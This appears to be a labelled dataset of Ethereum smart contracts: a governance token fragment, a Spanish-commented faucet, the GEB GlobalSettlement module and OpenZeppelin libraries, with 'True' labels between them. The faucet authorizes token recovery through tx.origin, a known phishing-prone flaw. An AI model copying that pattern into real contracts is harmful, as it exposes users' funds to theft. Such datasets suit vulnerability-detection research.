* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "Genesis Token::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "Genesis Token::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
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/**
*Submitted for verification at Etherscan.io on 2021-08-22
*/
// SPDX-License-Identifier: MIT
// Faucet contract
// Para no tener que dar uno a uno los tokens, tenemos este contrato de "faucet"
//
// ¿Qué es un Faucet? es una forma muy común de distribuir nuevos Tokens.
//
// Consiste en un contrato (que _suele_ tener una página web asociada)
// que distribuye los tokens a quien los solicita.
// Así el que crea el token no tiene que pagar por distribuir los tokens,
// y sólo los interesados 'pagan' a los mineros de la red por el coste de la transacción.
pragma solidity >=0.7.0;
interface iERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Faucet {
// Vamos a hacer un Faucet_muy_ sencillo:
// - No podemos saber de qué país es cada dirección así que:
// - Cada dirección de Ethereum debe poder participar en el Airdrop.
// - A cada dirección que lo solicite le transferimos 1000 unidades del tocken.
// - Sólo se puede participar en el airdrop una sola vez.
// - Si hay algún problema, la transacción _falla_
// Primero necesitamos la dirección del contrato del Token
address public immutable token;
address public _root;
// También necesitamos una lista de direcciones.
// Un "mapping" direccion -> a un 0 o 1 bastaría...
// .. pero ese tipo de dato no existe en este lenguaje)
// .. así que hay que construirlo a mano.
// este es un bitmap (hay formas más eficientes de hacerlo, pero esta nos sirve)
mapping (address => uint256) public claimed;
uint256 public immutable claimAmount;
event Claimed(address _by, address _to, uint256 _value);
// Cantidad solicitada por cada dirección
function ClaimedAmount(address index) public view returns (uint256) {
return claimed[index];
}
function _setClaimed(address index) private {
require(claimed[index] == 0);
claimed[index] += claimAmount; // No puede desbordar
}
// Esta funcion es la que permite reclamar los tokens.
// No hace falta ser el dueño de la dirección para solicitarlo.
// De todos modos... ¿quién puede querer enviar tokens a otro?
// Hmm.. ¿puede haber alguna implicación legal de eso?
function Claim(address index) public returns (uint256) {
// hmm... ¿dejamos que lo haga un smart contract?
require(msg.sender == tx.origin, "Only humans");
require(ClaimedAmount(index) == 0 && index != address(0));
_setClaimed(index);
// Hacemos la transferencia y revertimos operacion si da algún error
require(iERC20(token).transfer(index, claimAmount), "Airdrop: error transferencia");
emit Claimed(msg.sender, index, claimAmount);
return claimAmount;
}
// Cuando acabe el tiempo del airdrop se pueden recuperar
// a menos que haya alguna logica en el token que no lo permita...
// Se permite que Recovertokens lo llame un contrato por motivos fiscales.
// Si se llama a Recovertokens desde una direccion "normal" de Ethereum
// hacienda nos puede obligar a tributar por tener los tokens durante unos segundos.
function Recovertokens() public returns (bool) {
require(tx.origin == _root || msg.sender == _root , "tx.origin is not root");
uint256 allbalance = iERC20(token).balanceOf(address(this));
return iERC20(token).transfer(_root, allbalance);
}
// SetRoot permite cambiar el superusuario del contrato
// es decir, la dirección a la que se permite reclamar
// todos los tokens. Se puede llamar desde un contrato!
event NewRootEvent(address);
function SetRoot(address newroot) public {
require(msg.sender == _root); // sender
address oldroot = _root;
emit NewRootEvent(newroot);
_root = newroot;
}
// Necesitamos construir el contrato (instanciar)
// Constructor
constructor(address tokenaddr, uint256 claim_by_addr) {
token = tokenaddr;
claimAmount = claim_by_addr;
_root = tx.origin; // La persona (humana?) que crea el contrato.
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
// Verified using https://dapp.tools
// hevm: flattened sources of /nix/store/fs14a1fn2n0n355szi63iq33n5yzygnk-geb/dapp/geb/src/GlobalSettlement.sol
pragma solidity =0.6.7;
////// /nix/store/fs14a1fn2n0n355szi63iq33n5yzygnk-geb/dapp/geb/src/GlobalSettlement.sol
/// GlobalSettlement.sol
// Copyright (C) 2018 Rain <[email protected]>
// Copyright (C) 2018 Lev Livnev <[email protected]>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity 0.6.7; */
abstract contract SAFEEngineLike_7 {
function coinBalance(address) virtual public view returns (uint256);
function collateralTypes(bytes32) virtual public view returns (
uint256 debtAmount, // [wad]
uint256 accumulatedRate, // [ray]
uint256 safetyPrice, // [ray]
uint256 debtCeiling, // [rad]
uint256 debtFloor, // [rad]
uint256 liquidationPrice // [ray]
);
function safes(bytes32,address) virtual public view returns (
uint256 lockedCollateral, // [wad]
uint256 generatedDebt // [wad]
);
function globalDebt() virtual public returns (uint256);
function transferInternalCoins(address src, address dst, uint256 rad) virtual external;
function approveSAFEModification(address) virtual external;
function transferCollateral(bytes32 collateralType, address src, address dst, uint256 wad) virtual external;
function confiscateSAFECollateralAndDebt(bytes32 collateralType, address safe, address collateralSource, address debtDestination, int256 deltaCollateral, int256 deltaDebt) virtual external;
function createUnbackedDebt(address debtDestination, address coinDestination, uint256 rad) virtual external;
function disableContract() virtual external;
}
abstract contract LiquidationEngineLike_2 {
function collateralTypes(bytes32) virtual public view returns (
address collateralAuctionHouse,
uint256 liquidationPenalty, // [wad]
uint256 liquidationQuantity // [rad]
);
function disableContract() virtual external;
}
abstract contract StabilityFeeTreasuryLike {
function disableContract() virtual external;
}
abstract contract AccountingEngineLike_2 {
function disableContract() virtual external;
}
abstract contract CoinSavingsAccountLike {
function disableContract() virtual external;
}
abstract contract CollateralAuctionHouseLike_1 {
function bidAmount(uint256 id) virtual public view returns (uint256);
function raisedAmount(uint256 id) virtual public view returns (uint256);
function remainingAmountToSell(uint256 id) virtual public view returns (uint256);
function forgoneCollateralReceiver(uint256 id) virtual public view returns (address);
function amountToRaise(uint256 id) virtual public view returns (uint256);
function terminateAuctionPrematurely(uint256 auctionId) virtual external;
}
abstract contract OracleLike_2 {
function read() virtual public view returns (uint256);
}
abstract contract OracleRelayerLike_2 {
function redemptionPrice() virtual public returns (uint256);
function collateralTypes(bytes32) virtual public view returns (
OracleLike_2 orcl,
uint256 safetyCRatio,
uint256 liquidationCRatio
);
function disableContract() virtual external;
}
/*
This is the Global Settlement module. It is an
involved, stateful process that takes place over nine steps.
First we freeze the system and lock the prices for each collateral type.
1. `shutdownSystem()`:
- freezes user entrypoints
- starts cooldown period
2. `freezeCollateralType(collateralType)`:
- set the final price for each collateralType, reading off the price feed
We must process some system state before it is possible to calculate
the final coin / collateral price. In particular, we need to determine:
a. `collateralShortfall` (considers under-collateralised SAFEs)
b. `outstandingCoinSupply` (after including system surplus / deficit)
We determine (a) by processing all under-collateralised SAFEs with
`processSAFE`
3. `processSAFE(collateralType, safe)`:
- cancels SAFE debt
- any excess collateral remains
- backing collateral taken
We determine (b) by processing ongoing coin generating processes,
i.e. auctions. We need to ensure that auctions will not generate any
further coin income. In the two-way auction model this occurs when
all auctions are in the reverse (`decreaseSoldAmount`) phase. There are two ways
of ensuring this:
4. i) `shutdownCooldown`: set the cooldown period to be at least as long as the
longest auction duration, which needs to be determined by the
shutdown administrator.
This takes a fairly predictable time to occur but with altered
auction dynamics due to the now varying price of the system coin.
ii) `fastTrackAuction`: cancel all ongoing auctions and seize the collateral.
This allows for faster processing at the expense of more
processing calls. This option allows coin holders to retrieve
their collateral faster.
`fastTrackAuction(collateralType, auctionId)`:
- cancel individual collateral auctions in the `increaseBidSize` (forward) phase
- retrieves collateral and returns coins to bidder
- `decreaseSoldAmount` (reverse) phase auctions can continue normally
Option (i), `shutdownCooldown`, is sufficient for processing the system
settlement but option (ii), `fastTrackAuction`, will speed it up. Both options
are available in this implementation, with `fastTrackAuction` being enabled on a
per-auction basis.
When a SAFE has been processed and has no debt remaining, the
remaining collateral can be removed.
5. `freeCollateral(collateralType)`:
- remove collateral from the caller's SAFE
- owner can call as needed
After the processing period has elapsed, we enable calculation of
the final price for each collateral type.
6. `setOutstandingCoinSupply()`:
- only callable after processing time period elapsed
- assumption that all under-collateralised SAFEs are processed
- fixes the total outstanding supply of coin
- may also require extra SAFE processing to cover system surplus
7. `calculateCashPrice(collateralType)`:
- calculate `collateralCashPrice`
- adjusts `collateralCashPrice` in the case of deficit / surplus
At this point we have computed the final price for each collateral
type and coin holders can now turn their coin into collateral. Each
unit coin can claim a fixed basket of collateral.
Coin holders must first `prepareCoinsForRedeeming` into a `coinBag`. Once prepared,
coins cannot be transferred out of the bag. More coin can be added to a bag later.
8. `prepareCoinsForRedeeming(coinAmount)`:
- put some coins into a bag in order to 'redeemCollateral'. The bigger the bag, the more collateral the user can claim.
9. `redeemCollateral(collateralType, collateralAmount)`:
- exchange some coin from your bag for tokens from a specific collateral type
- the amount of collateral available to redeem is limited by how big your bag is
*/
contract GlobalSettlement {
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "GlobalSettlement/account-not-authorized");
_;
}
// --- Data ---
SAFEEngineLike_7 public safeEngine;
LiquidationEngineLike_2 public liquidationEngine;
AccountingEngineLike_2 public accountingEngine;
OracleRelayerLike_2 public oracleRelayer;
CoinSavingsAccountLike public coinSavingsAccount;
StabilityFeeTreasuryLike public stabilityFeeTreasury;
// Flag that indicates whether settlement has been triggered or not
uint256 public contractEnabled;
// The timestamp when settlement was triggered
uint256 public shutdownTime;
// The amount of time post settlement during which no processing takes place
uint256 public shutdownCooldown;
// The outstanding supply of system coins computed during the setOutstandingCoinSupply() phase
uint256 public outstandingCoinSupply; // [rad]
// The amount of collateral that a system coin can redeem
mapping (bytes32 => uint256) public finalCoinPerCollateralPrice; // [ray]
// Total amount of bad debt in SAFEs with different collateral types
mapping (bytes32 => uint256) public collateralShortfall; // [wad]
// Total debt backed by every collateral type
mapping (bytes32 => uint256) public collateralTotalDebt; // [wad]
// Mapping of collateral prices in terms of system coins after taking into account system surplus/deficit and finalCoinPerCollateralPrices
mapping (bytes32 => uint256) public collateralCashPrice; // [ray]
// Bags of coins ready to be used for collateral redemption
mapping (address => uint256) public coinBag; // [wad]
// Amount of coins already used for collateral redemption by every address and for different collateral types
mapping (bytes32 => mapping (address => uint256)) public coinsUsedToRedeem; // [wad]
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
event ShutdownSystem();
event FreezeCollateralType(bytes32 indexed collateralType, uint256 finalCoinPerCollateralPrice);
event FastTrackAuction(bytes32 indexed collateralType, uint256 auctionId, uint256 collateralTotalDebt);
event ProcessSAFE(bytes32 indexed collateralType, address safe, uint256 collateralShortfall);
event FreeCollateral(bytes32 indexed collateralType, address sender, int256 collateralAmount);
event SetOutstandingCoinSupply(uint256 outstandingCoinSupply);
event CalculateCashPrice(bytes32 indexed collateralType, uint256 collateralCashPrice);
event PrepareCoinsForRedeeming(address indexed sender, uint256 coinBag);
event RedeemCollateral(bytes32 indexed collateralType, address indexed sender, uint256 coinsAmount, uint256 collateralAmount);
// --- Init ---
constructor() public {
authorizedAccounts[msg.sender] = 1;
contractEnabled = 1;
emit AddAuthorization(msg.sender);
}
// --- Math ---
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x + y;
require(z >= x, "GlobalSettlement/add-overflow");
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "GlobalSettlement/sub-underflow");
}
function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "GlobalSettlement/mul-overflow");
}
function minimum(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x <= y ? x : y;
}
uint256 constant WAD = 10 ** 18;
uint256 constant RAY = 10 ** 27;
function rmultiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = multiply(x, y) / RAY;
}
function rdivide(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y > 0, "GlobalSettlement/rdiv-by-zero");
z = multiply(x, RAY) / y;
}
function wdivide(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y > 0, "GlobalSettlement/wdiv-by-zero");
z = multiply(x, WAD) / y;
}
// --- Administration ---
/*
* @notify Modify an address parameter
* @param parameter The name of the parameter to modify
* @param data The new address for the parameter
*/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
require(contractEnabled == 1, "GlobalSettlement/contract-not-enabled");
if (parameter == "safeEngine") safeEngine = SAFEEngineLike_7(data);
else if (parameter == "liquidationEngine") liquidationEngine = LiquidationEngineLike_2(data);
else if (parameter == "accountingEngine") accountingEngine = AccountingEngineLike_2(data);
else if (parameter == "oracleRelayer") oracleRelayer = OracleRelayerLike_2(data);
else if (parameter == "coinSavingsAccount") coinSavingsAccount = CoinSavingsAccountLike(data);
else if (parameter == "stabilityFeeTreasury") stabilityFeeTreasury = StabilityFeeTreasuryLike(data);
else revert("GlobalSettlement/modify-unrecognized-parameter");
emit ModifyParameters(parameter, data);
}
/*
* @notify Modify an uint256 parameter
* @param parameter The name of the parameter to modify
* @param data The new value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
require(contractEnabled == 1, "GlobalSettlement/contract-not-enabled");
if (parameter == "shutdownCooldown") shutdownCooldown = data;
else revert("GlobalSettlement/modify-unrecognized-parameter");
emit ModifyParameters(parameter, data);
}
// --- Settlement ---
/**
* @notice Freeze the system and start the cooldown period
*/
function shutdownSystem() external isAuthorized {
require(contractEnabled == 1, "GlobalSettlement/contract-not-enabled");
contractEnabled = 0;
shutdownTime = now;
safeEngine.disableContract();
liquidationEngine.disableContract();
// treasury must be disabled before the accounting engine so that all surplus is gathered in one place
if (address(stabilityFeeTreasury) != address(0)) {
stabilityFeeTreasury.disableContract();
}
accountingEngine.disableContract();
oracleRelayer.disableContract();
if (address(coinSavingsAccount) != address(0)) {
coinSavingsAccount.disableContract();
}
emit ShutdownSystem();
}
/**
* @notice Calculate a collateral type's final price according to the latest system coin redemption price
* @param collateralType The collateral type to calculate the price for
*/
function freezeCollateralType(bytes32 collateralType) external {
require(contractEnabled == 0, "GlobalSettlement/contract-still-enabled");
require(finalCoinPerCollateralPrice[collateralType] == 0, "GlobalSettlement/final-collateral-price-already-defined");
(collateralTotalDebt[collateralType],,,,,) = safeEngine.collateralTypes(collateralType);
(OracleLike_2 orcl,,) = oracleRelayer.collateralTypes(collateralType);
// redemptionPrice is a ray, orcl returns a wad
finalCoinPerCollateralPrice[collateralType] = wdivide(oracleRelayer.redemptionPrice(), uint256(orcl.read()));
emit FreezeCollateralType(collateralType, finalCoinPerCollateralPrice[collateralType]);
}
/**
* @notice Fast track an ongoing collateral auction
* @param collateralType The collateral type associated with the auction contract
* @param auctionId The ID of the auction to be fast tracked
*/
function fastTrackAuction(bytes32 collateralType, uint256 auctionId) external {
require(finalCoinPerCollateralPrice[collateralType] != 0, "GlobalSettlement/final-collateral-price-not-defined");
(address auctionHouse_,,) = liquidationEngine.collateralTypes(collateralType);
CollateralAuctionHouseLike_1 collateralAuctionHouse = CollateralAuctionHouseLike_1(auctionHouse_);
(, uint256 accumulatedRate,,,,) = safeEngine.collateralTypes(collateralType);
uint256 bidAmount = collateralAuctionHouse.bidAmount(auctionId);
uint256 raisedAmount = collateralAuctionHouse.raisedAmount(auctionId);
uint256 collateralToSell = collateralAuctionHouse.remainingAmountToSell(auctionId);
address forgoneCollateralReceiver = collateralAuctionHouse.forgoneCollateralReceiver(auctionId);
uint256 amountToRaise = collateralAuctionHouse.amountToRaise(auctionId);
safeEngine.createUnbackedDebt(address(accountingEngine), address(accountingEngine), subtract(amountToRaise, raisedAmount));
safeEngine.createUnbackedDebt(address(accountingEngine), address(this), bidAmount);
safeEngine.approveSAFEModification(address(collateralAuctionHouse));
collateralAuctionHouse.terminateAuctionPrematurely(auctionId);
uint256 debt_ = subtract(amountToRaise, raisedAmount) / accumulatedRate;
collateralTotalDebt[collateralType] = addition(collateralTotalDebt[collateralType], debt_);
require(int256(collateralToSell) >= 0 && int256(debt_) >= 0, "GlobalSettlement/overflow");
safeEngine.confiscateSAFECollateralAndDebt(collateralType, forgoneCollateralReceiver, address(this), address(accountingEngine), int256(collateralToSell), int256(debt_));
emit FastTrackAuction(collateralType, auctionId, collateralTotalDebt[collateralType]);
}
/**
* @notice Cancel a SAFE's debt and leave any extra collateral in it
* @param collateralType The collateral type associated with the SAFE
* @param safe The SAFE to be processed
*/
function processSAFE(bytes32 collateralType, address safe) external {
require(finalCoinPerCollateralPrice[collateralType] != 0, "GlobalSettlement/final-collateral-price-not-defined");
(, uint256 accumulatedRate,,,,) = safeEngine.collateralTypes(collateralType);
(uint256 safeCollateral, uint256 safeDebt) = safeEngine.safes(collateralType, safe);
uint256 amountOwed = rmultiply(rmultiply(safeDebt, accumulatedRate), finalCoinPerCollateralPrice[collateralType]);
uint256 minCollateral = minimum(safeCollateral, amountOwed);
collateralShortfall[collateralType] = addition(
collateralShortfall[collateralType],
subtract(amountOwed, minCollateral)
);
require(minCollateral <= 2**255 && safeDebt <= 2**255, "GlobalSettlement/overflow");
safeEngine.confiscateSAFECollateralAndDebt(
collateralType,
safe,
address(this),
address(accountingEngine),
-int256(minCollateral),
-int256(safeDebt)
);
emit ProcessSAFE(collateralType, safe, collateralShortfall[collateralType]);
}
/**
* @notice Remove collateral from the caller's SAFE
* @param collateralType The collateral type to free
*/
function freeCollateral(bytes32 collateralType) external {
require(contractEnabled == 0, "GlobalSettlement/contract-still-enabled");
(uint256 safeCollateral, uint256 safeDebt) = safeEngine.safes(collateralType, msg.sender);
require(safeDebt == 0, "GlobalSettlement/safe-debt-not-zero");
require(safeCollateral <= 2**255, "GlobalSettlement/overflow");
safeEngine.confiscateSAFECollateralAndDebt(
collateralType,
msg.sender,
msg.sender,
address(accountingEngine),
-int256(safeCollateral),
0
);
emit FreeCollateral(collateralType, msg.sender, -int256(safeCollateral));
}
/**
* @notice Set the final outstanding supply of system coins
* @dev There must be no remaining surplus in the accounting engine
*/
function setOutstandingCoinSupply() external {
require(contractEnabled == 0, "GlobalSettlement/contract-still-enabled");
require(outstandingCoinSupply == 0, "GlobalSettlement/outstanding-coin-supply-not-zero");
require(safeEngine.coinBalance(address(accountingEngine)) == 0, "GlobalSettlement/surplus-not-zero");
require(now >= addition(shutdownTime, shutdownCooldown), "GlobalSettlement/shutdown-cooldown-not-finished");
outstandingCoinSupply = safeEngine.globalDebt();
emit SetOutstandingCoinSupply(outstandingCoinSupply);
}
/**
* @notice Calculate a collateral's price taking into consideration system surplus/deficit and the finalCoinPerCollateralPrice
* @param collateralType The collateral whose cash price will be calculated
*/
function calculateCashPrice(bytes32 collateralType) external {
require(outstandingCoinSupply != 0, "GlobalSettlement/outstanding-coin-supply-zero");
require(collateralCashPrice[collateralType] == 0, "GlobalSettlement/collateral-cash-price-already-defined");
(, uint256 accumulatedRate,,,,) = safeEngine.collateralTypes(collateralType);
uint256 redemptionAdjustedDebt = rmultiply(
rmultiply(collateralTotalDebt[collateralType], accumulatedRate), finalCoinPerCollateralPrice[collateralType]
);
collateralCashPrice[collateralType] =
multiply(subtract(redemptionAdjustedDebt, collateralShortfall[collateralType]), RAY) / (outstandingCoinSupply / RAY);
emit CalculateCashPrice(collateralType, collateralCashPrice[collateralType]);
}
/**
* @notice Add coins into a 'bag' so that you can use them to redeem collateral
* @param coinAmount The amount of internal system coins to add into the bag
*/
function prepareCoinsForRedeeming(uint256 coinAmount) external {
require(outstandingCoinSupply != 0, "GlobalSettlement/outstanding-coin-supply-zero");
safeEngine.transferInternalCoins(msg.sender, address(accountingEngine), multiply(coinAmount, RAY));
coinBag[msg.sender] = addition(coinBag[msg.sender], coinAmount);
emit PrepareCoinsForRedeeming(msg.sender, coinBag[msg.sender]);
}
/**
* @notice Redeem a specific collateral type using an amount of internal system coins from your bag
* @param collateralType The collateral type to redeem
* @param coinsAmount The amount of internal coins to use from your bag
*/
function redeemCollateral(bytes32 collateralType, uint256 coinsAmount) external {
require(collateralCashPrice[collateralType] != 0, "GlobalSettlement/collateral-cash-price-not-defined");
uint256 collateralAmount = rmultiply(coinsAmount, collateralCashPrice[collateralType]);
safeEngine.transferCollateral(
collateralType,
address(this),
msg.sender,
collateralAmount
);
coinsUsedToRedeem[collateralType][msg.sender] = addition(coinsUsedToRedeem[collateralType][msg.sender], coinsAmount);
require(coinsUsedToRedeem[collateralType][msg.sender] <= coinBag[msg.sender], "GlobalSettlement/insufficient-bag-balance");
emit RedeemCollateral(collateralType, msg.sender, coinsAmount, collateralAmount);
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
